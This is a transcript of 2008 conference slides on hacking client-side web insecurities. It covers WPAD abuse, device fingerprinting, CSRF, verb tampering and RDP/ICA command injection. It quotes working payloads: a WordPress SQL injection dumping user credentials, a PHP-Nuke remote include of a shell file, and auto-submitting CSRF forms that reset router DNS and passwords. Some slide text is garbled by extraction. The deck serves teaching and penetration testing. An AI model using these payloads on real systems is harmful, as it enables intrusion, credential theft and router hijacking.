Hacking Client Side Insecurities

Club-Hack 2008

Aditya K Sood

Founder , Sec-Niche Security

Hacking Client Side Insecurities


Research Front: •Founder , SECNICHE Security.•Independent Security Researcher.•Lead IS Author and Reviewer for Hakin9 Organization.•Research Author for USENIX and ELSEVIER Journals.•Like to do Bug Hunting. Released Advisories to Forefront Companies.•Active Speaker at Security Conferences. [EU-Sec-West , XCON [07/08] , XKungFoo[08] , OWASP , Cert-IN etc]•Team Lead – Evil Fingers Community.•Projects – CERA, MLABS etc.

Professional Front:Work as a Security Advisor / Penetration Tester for KPMG Consultancy.

$whoami


Web 2.0 Application Model


[1] Discovering Clients on Internet / Intranet.Web Application Discovery Protocol

Fingerprinting Embedded Devices.Rogue Request for HTTP Server Fingerprinting.JavaScript Based Client Information Retrieval

[2] Client Side Attack Patterns.Pluggable Protocol Handlers. JavaScript Jacking JSON Injections [CSRF]HTTP Verb Jacking HTTP Verb Tampering.Insecure Parametric Design of Cookies Baking with XSS.War XHR and IFRAME Exploiting Patterns.Cross Site Request Forging (Embedded Devices) The High Risk.Surf Jacking Jacking HTTPS in Traffic Pool.

[3] Web Virtual Environment [RDP/ CITRIX].[4] Questions and Answers.

$ AGENDA


• User Interface with the Browsers to Access Content Remotely.• Client System Stores Sensitive Information as Local Cache.• Scripting – an Intermediate Model of Client Server Relation.• No Executables Required , Just Manipulation through Scripts.• Follows the Concept of Spoofing and Hidden Codes.• Exploitable through JS-Jacking and VBS-Jacking with number of Attacks.• Browsers – The Bulls Eye , Attacker Prime Target.• The Concept – Exploitation On the Fly.• Exploitation Trend Change towards Application.• Application Level Attacks Easy to Trigger and Execute.

Client Side ! Why?


Discovery


• Discovering Clients leverage lot of Sensitive Information.• Network and System Configuration is the Target Point to Attack.• Internet , Search Engines Like Google Projects Plethora of Information.• Attacking Intranet Requires the Inside Information of Party.• Garbage Dumps on World Wide Web Servers , A Huge Bonus for Attackers.• Client Side Supports various Protocols [Weak] for Robust Functionality. • Insecure Administration of Servers – Configuration Mismanagement.• Browser Based Insecurities.• JavaScript Jacking on Client Browsers Reveal State Information of Clients.• Every Single Element Discovered, Favors the Attack on Client.

Fingerprinting ! Why?


Web Proxy Auto Discovery Protocol.

• Protocol used in Discovering Network Proxy Automatically.• Configuration File Contains Intranet Addresses Inherently.• Protocol Dismantle the Manual Configuration to Detect Proxy (PAC) File.• WPAD Works on DHCP Behavior. [DHCPINFORM Query]• No DNS Lookup is Required if DHCP Issues a Request.• Protocol Handler http://wpad.xxxx.com• PAC Proxy Auto Configuration | Proxy Settings for Subnets.• DHCP Query through Uniform Resource Locator [URL]• DNS Query through wpad.dat , File Located in WPAD Root Directory• Function FindProxyForURL()

Fingerprinting !

http://wpad.xxxx.com/

http://wpad.xxxx.com/


Web Proxy Auto Discovery Protocol.• Attack Point • wpad.dat is Not Stored in a Secure Manner. Should be Placed in Default

Virtual Directory.• Browsers have Stringency in Making a Request to wpad.dat if Stored in Root

Directory.• No Referrer Check on the Request to wpad.dat File.• wpad.dat When a Request is issued it Redirects the page to Required

Proxy File for Configuration of Browser.Malicious Redirection Can be Done.

• When a DHCP Request is Issued no DNS Required. WOW ! No DNS Cache Poisoning is Required.

Rogue DHCP Server on LAN do the Trick.• Wpad use JavaScript to Set Browsers for Proxy Settings.

Fingerprinting !


Web Proxy Auto Discovery Protocol.

# WPAD definitionoption wpad code 252 = text;

# Suppress WPAD activity - no cache, no DNS.option wpad "\n\000";

# Configure a valid WPAD cache. The \n is required for Windows.# All config below this line is optional.#option wpad "http://www.example.com/wpad.pac\n";

class "MSFT" {match if substring(option vendor-class-identifier, 0, 4) = "MSFT";

# They put 252 on the DHCPINFORM's, but not on the DHCPREQUEST's# PRL. So we over-ride the PRL to include 252 = 0xFC, which will also# suppress the DHCPINFORMS!option dhcp-parameter-request-list =concat(option dhcp-parameter-request-list, fc);}

function FindProxyForURL(url, host){return "PROXY 192.168.0.1:3128 ; DIRECT";}

Fingerprinting !


Embedded Devices

• Criticality in Determining the Internal Structure.• HTTP Request Parameters are Manipulated.• 301 Moved Permanently Response Code is thrown.• Devices used to Spoof the Internal IP Addresses.• Every Device has its Own Working Approach• Used to Set Cookie in a Different Manner.• Used to Change the parameter of HTTP Header Specifies.• Analyzing the change in HTTP Headers Play the Trick.• Necessary for Application Pen Testing at Infrastructural Level

Fingerprinting !


Embedded Devices | HTTP Header ManipulationCase 1:

Response Check 1

HTTP/1.1 200 OK\r\n Date: Tue, 05 Jul 2007 17:05:18 GMT\r\n Server: Server\r\n Vary: Accept-Encoding,User-Agent\r\nContent-Type: text/html; charset=ISO-8859-1\r\n nnCoection: close\r\n Transfer-Encoding: chunked\r\n

Response Check 2

- send: 'GET /?Action=DescribeImages&AWSAccessKeyId=0CZQCKRS3J69PZ6QQQR2&Owner.1 =084307701560&SignatureVersion=1&Timestamp=2007-02-15T17%3A30%3A13 &Version=2007-01- 03&Signature=<signature removed> HTTP/1.1\r\nHost: ec2.amazonaws.com:443\r\nAccept- Encoding: identity\r\n\r\n' reply: 'HTTP/1.1 200 OK\r\n' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:13 GMT

send: 'GET /?Action=ModifyImageAttribute&Attribute=launchPermission&AWSAccessKeyId =0CZQCKRS3J6 9PZ6QQQR2&ImageId=ami-00b95c69&OperationType=add&SignatureVersion=1& Timestamp=2007- 02-15T17%3A30%3A14&UserGroup.1=all&Version=2007-01-03&Signature=<signature removed> HTTP/1.1\r\nHost: ec2.amazonaws.com:443\r\nAccept-Encoding: identity\r\n\r\n' reply: 'HTTP/1.1 400 Bad Request\r\n' header: Server: Apache-Coyote/1.1 header: Transfer-Encoding: chunked header: Date: Thu, 15 Feb 2007 17:30:14 GMT header: nnCoection: close

Fingerprinting !

Potentially a Net Scalar Device


Embedded Devices | HTTP Header ManipulationCase 2:

HTTP/1.1 200 OKDate: Tue, 10 July 2007 03:01:36 GMTServer: Apache Connection: closeContent-type: text/plain

HTTP/1.0 404 Not Found\r\nXontent-Length: \r\nServer: thttpd/2.25b 29dec2003\r\nContent-Type: text/html; charset=iso-8859-1\r\nLast-Modified: Tue, 05 Jul 2007 17:01:12 GMT\r\nAccept-Ranges: bytes\r\nCache-Control: no-cache, no-store\r\nDate: Tue, 05 Jun 2007 17:01:12 GMT\r\nContent-Length: 329\r\nConnection: close\r\n

Fingerprinting !

The Content Parameter is transformed into

XONTENT.

This is Generally Shown by Potential RADWARE

Devices

RADWAREDevice


Embedded Devices | Big IP4 IP Based Session Management Response Check 1

Cookie: service-http=167880896.12345.0000.ASPSESSIONIDSSCATCAT = XXXXXXXXXXXXXXXXXXX

Converting to Binary:

Binary ( cookie ) == 00001010000000011010100011000000

Converting to blocks of 4 00001010000000011010100011000000

00001010 1000000001 110101000 16811000000 192

Fingerprinting !

Lets dissect the Pattern of this

Number.

Convert it into Decimal to see what is there.

The Internal IP Dissected is 192.168.1.10This Layout is specific to Working Devices


HTTP Servers Fingerprinting with Rogue Requests

• Fingerprinting HTTP Servers with Rogue Requests.• Web Servers React Stringently to Different Requests.• The Response Code can be used to Analyze the Web Server.• 80% of this Request-Response is Successful.

Fingerprinting !


• Client Side JavaScript Can Leverage Lot of Information of Browser State.

Platform : Win32OSCPU : undefinedUserAgent : Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3Language : en-USAppName : NetscapeAppVersion : 5.0 (Windows; en-US)Product : GeckoCodeName : 2008092417Vendor : VendorSub : CodeName : MozillaHistory : 3ScreenW : 1440ScrrenH : 900

Fingerprinting !

<script language="javascript"> function browserInfo(form) { var txtInfo; txtInfo = "Platform : " + window.navigator.platform

+ "\n" + "OSCPU : " + window.navigator.oscpus + "\n" +

"UserAgent : " + window.navigator.userAgent + "\n" +

"Language : " + window.navigator.language + "\n" + "AppName : " +

window.navigator.appName + "\n" + "AppVersion : " +

window.navigator.appVersion + "\n" + "Product : " + window.navigator.product +

"\n" + "CodeName : " + window.navigator.productSub + "\n" +

"Vendor : " + window.navigator.vendor + "\n" + "VendorSub : " +

window.navigator.vendorSub + "\n" + "CodeName : " +

window.navigator.appCodeName + "\n" + "History : " + window.history.length + "\n" + "ScreenW : " + window.screen.width + "\n" + "ScrrenH : " + window.screen.height; form.txtOutput.value=txtInfo; return; }

</script>


Demonstrations!


Web Chemistry! Wow!


Client Side Exploiting Patterns


Client Side Exploiting Patterns

•Pluggable Protocol Handlers. •JavaScript Jacking JSON Injections [CSRF]•HTTP Verb Jacking HTTP Verb Tampering.•Insecure Parametric Design of Cookies Baking with XSS.•War XHR and IFRAME Exploiting Patterns.•Cross Site Request Forging through CSS Parameter.•Cross Site Request Forging (Embedded Devices) The High Risk.•Surf Jacking Jacking HTTPS in Traffic Pool.


Pluggable Protocol Handlers•Attack works with XSS etc Vulnerabilities.•Browsers support for the Application Handlers.•Third Party Attack Base.

GOOGLE CHROME Browser Support

protocol_handler": { "excluded_schemes": { "afp": true, "data": true, "disk": true, "disks": true, "file": true, "hcp": true, "javascript": true, "mailto": false, "ms-help": true, "news": false, "nntp": true, "shell": true, "snews": false, "vbscript": true, "view-source": true, "vnd": { "ms": { "radio": true }


Java Script Jacking•JavaScript – The Most Critical and Most Usable Scripting Entity.•Irrevocably Supported by Every Browsers.•Active base for Malicious Web Base Content.•Helps in Diversified Client Side Hacking from the Core.•Dynamic Generated Object Malfunctioning.•JS-Jacking Leveraging System Specific Information.•Attacker Can query Browser Related Information.•Active Encoding Attacks Fused with JavaScript.•DOM Based Calling Pattern for Web Based Attacks.

Website Requires JavaScript Support. This anatomy works in both positive and negative

manner


Java Script Jacking


Java Script Jacking – JSON InjectionsJSON Injections The Serialization Insecurity | Web 2.0Direct Injections with Encoding.Everything is treated as String. Apply toJSONObject().CSRF A different way to Fuse attack with Notation Objects.{

"menu": { "id": "<img src="https://books.example.com/clickbuy?

book=ISBNhere&quantity=100">",

"value": "<img src="https://trading.example.com/xfer?from=MSFT&to=RHAT&confirm=Y">",

"popup": "<scriptsrc="https://www.google.com/accounts/UpdateEmail?service=adsense&[email protected]&Passwd=cool&save="></script>"

}}

}Cross Site

Request Forgery Structured in

JSON – Google Ad sense Layout.


HTTP Verb Jacking• HTTP Stateless Protocol. Every Request is Independent of other.• HTTP supports number of Request.• HTTP Verb Jacking Play with HTTP Requests like GET/POST.• Attack Affect Applications handling XML Data. Versatile Attack.• Request Schema is Defined in web.xml file.• HTTP Request Functionality is Placed in web.xml File.• Verb Jacking == Verb Tampering.• Exists for a Long Period of Time.• HTTP 1.0 and HTTP 1.1 Plays a Part.

Major Flaw HTTP End Point Check does not Disseminate among HTTP Request. Only

Parameter Check is Performed. All Verbs are Allowed.

In 2006 , I have released a paper called Rogue XML

Specifications which list the potential insecurities in

web.xml file. http://packetstormsecurity.org/papers/general/RogueXMLSpe

cific.pdf


HTTP Verb Jackingsecurity-constraint>

<web-resource-collection> <web-resource-name>drivers</web-resource-name> <description> Security constraint for

drivers page </description>

<url-pattern>/drivers.html</url-pattern> <http-method>POST</http-method> <http-method>GET</http-method>

</web-resource-collection> <auth-constraint>

<description> constraint for drivers </description> <role-name>manager</role-name>

</auth-constraint> </security-constraint>

<login-config> <auth-method>BASIC</auth-method> </login-config>

<security-role> <role-name>manager</role-name>

The snapshot of web.xml file for a certain target. The

security constraint parameter defines the allowed request. The type of Authentication

allowed.

HTTP Verb Jacking Manager directories will not be Accessed

by GET/POST Request. What

about HEAD Request.

J2EE ,JSP , ASP , ASP.NET,PHP etc are based on configuration files to process the type

of request to handle. [ GET/POST/HEAD etc]


Insecure Parametric Cookies• Insecure Use of Cookies in Session Management.• Where the Security State is ? Majority Fails to Instantiate.• XSS Drags in the Application. Authenticated Cookies can be

Undertaken.• The Real Cause Insecure Design of Cookies with Parameters.

Cookie SecurityParameter

Check

Cookie Security Design is Judged by two major factors:1. Cookie over Secure Channel [HTTPS ]

2. Cookie Extraction through JavaScript Calls.

Cookie Security Parameters are :-Secure ( boolean) Allowed over only HTTPS.

HttpOnly ( boolean ) JavaScript document.cookie Fails.


XHR and IFRAME• XHR XML HTTP DOM based API for XML Data Transference.• Active Mechanism based on AJAX.• XHR Request does not Cached in the History of Browser.• IFRAME Requests have a proper History Caching Layout.• XHR Requests are Irreversible. IRAME is totally Reverse.• Working Functionality of both are Different from Each other.• Number of Client Side Attacks are Exploited by using these Elements.

If your browser do not support Ajax XHR request and a page is loaded into browser then the most of the remote toolkits have a hidden iframe to provide fake XHR support to the page.


XHR and IFRAME<script >var oRequest = new XMLHttpRequest(); var sURL = "http://www.snapdrive.net/files/571814/chrome.txt"; alert('Downloading a txt file..please wait.'); oRequest.open("GET",sURL,false);oRequest.setRequestHeader("User-Agent",navigator.userAgent); oRequest.send(null); xmlDoc=oRequest.ResponseText; alert(xmlDoc); if (oRequest.status==200){ alert('Done...now try editing the Text-Box!');

var str=" Winget 3.0 DoS Exploit PoC.Minimize Winget & Right-Click & Copy to clipboard.";document.write(str.link("http://"+oRequest.responseText+".exe"));

} else{alert('Error executing XMLHttpRequest call!');}

Local Dos [Milw0rm]

var iframe = document.createElement("IFRAME"); iframe.setAttribute("src", 'ftp://localhost/anything'); iframe.setAttribute("name", 'myiframe'); iframe.setAttribute("id", 'myiframe'); iframe.setAttribute("onload", 'read_iframe("myiframe")'); iframe.style.width = "100px"; iframe.style.height = "100px";

document.body.appendChild(iframe); Konqueror 3.5.5 Crash [Milw0rm]

[Word Press SQL Injection through IFRAME] wp-content/plugins/st_newsletter/stnl_iframe.php?

newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3

a,user_email)+FROM+wp_users--

[PHP Nuke IFRAME] http://www.example.com/nuke_path/iframe.php?

file=ftp://user:[email protected]/public_html/

shell.html (or) .htm

http://www.milw0rm.com/exploits/6777http://www.milw0rm.com/exploits/3512

http://www.milw0rm.com/exploits/6777

http://www.milw0rm.com/exploits/3512


Embedded Devices - CSRF

[1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm]<html> <body> <body onload="fdsa.submit();">

<form name=fdsa method="post" action="http://10.10.10.1/level/15/exec/-/configure/http"> <input type=hidden name=command value="alias exec xx xx">

<input type=hidden name=command_url value="/level/15/exec/-"> <input type=hidden name=new_command_url value="/level/15/configure/-">

</body> </html>

[3] EXPLAY CMS CSRF Exploit<img src="http://explay.localhost/admin.php?name

=users&page=1&order=user_id&set_admin=2" />

[2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm]<html> <body onload="document.wan.submit();

document.password.submit()"> <form action="http://192.168.1.254/goform/formWanTcpipSetup" method="post" name="wan">

<input type="hidden" value="dnsManual" name="dnsMode" checked> <input type="hidden" name="dns1" value="216.239.32.10">

<input type="hidden" name="dns2" value="216.239.32.10"> <input type="hidden" name="dns3" value="216.239.32.10">

<input type="hidden" name="webWanAccess" value="ON" checked="checked"> </form> <form action="http://192.168.1.254/goform/formPasswordSetup" method="post"

name="password"> <input type="hidden" name="username" value="mallory"> <input type="hidden" name="newpass" value="gotroot">

<input type="hidden" name="confpass" value="gotroot"> </form> </body> </html>


SURF Jacking – HTTPS at Stake

•Vulnerable Play with HTTPS Websites.•Surf Jacking [HTTPS] is an Outcome from Side Jacking [HTTP].•Basic Flaw is In Cookie Setting by Respective Servers.•All Insecure Cookie Based Website at Risk. Side Jacking

discovered by Errata Security.

Surf Jacking discovered by Enable

Security

But Cookie Insecurity is known back time.

Greets to break down into Attacks.


Demonstrations!


RDP / ICA – Command Execution• Virtual Environment for Clients to Produce Interface with Servers.• Executing Commands and GUI Operations Generically.• ICA Independent Computing Architecture , CITRIX Applications• RDP Remote Desktop Protocol , Microsoft Proprietary Protocol.• Basically , Virtual Desktop Working Functionality.• Protocols Defined have Different Working Behavior for ICA and

RDP• Application ( RDP ) MTS i.e. Microsoft Terminal Services.• Clients Exist for almost all Platforms [*Nix, Windows etc].• ICA Similar to X Window System / XEN Virtual Environment.• RDP Client RDC + TSC

RDC Remote Desktop Connection. TSC Terminal Services Connection.


RDP / ICA Citrix Web ICA File: Webica.ini

• Trusted and Un-trusted Distinction Client Modeling Check.• It depicts the trusted behavior of ICA Client from its Origin Point using the

webica.ini file.• Trusted ( ICA Client ) Program Neighborhood / PN Agent.• Un-Trusted ( ICA Client ) Web Interface / Direct ICA File Execution.

Structured Dependency over webica.ini file. It is used to set Access Rights.

Citrix Application Server File: Appsrv.ini

• Custom ICA Connections are defined in it.• Information about Entries in Remote Connection Manager.


Attack Point - ICA Citrix Desktop Connection parameters provide a functionality to feed a specific Command which will get executed when a connection is initiated to the server

by the client. Usually instead of the desktop the command gets executed. • [ApplicationServers]• Desktop=• • [Desktop]• TransportDriver=TCP/IP• BrowserProtocol=UDP• DesiredHRES=4294967295• DesiredVRES=4294967295• ScreenPercent=0• DoNotUseDefaultCSL=Off• Description=Desktop• Address=citrix.msdsb.net• InitialProgram=#ROGUE or MALICIOUS COMMAND• IconPath=M:\Program Files\Citrix\ICA Client\pn.exe• IconIndex=1• ConnectType=1• MaximumCompression=Off• UseAlternateAddress=0• Compress=On

.


Attack Point - RDPMicrosoft Terminal Services RDP has inbuilt option of executing

command through shell directly which is a possible attack point of Infection.

• screen mode id:i:1• desktopwidth:i:800• desktopheight:i:600• session bpp:i:16• winposstr:s:0,3,0,0,800,572• full address:s:www.intlogistics.com• alternate shell:s: Malicious or rogue Command• compression:i:1• keyboardhook:i:2• audiomode:i:0• redirectdrives:i:0• redirectprinters:i:1• redirectcomports:i:0• redirectsmartcards:i:1• displayconnectionbar:i:1• autoreconnection enabled:i:1• username:s:freight

.


Demonstrations!


Questions


Thanks and Regards


SecNiche Securityhttp://www.secniche.org

http://www.secniche.org/

Hacking Client Side Insecurities

Technology

Transcript of Hacking Client Side Insecurities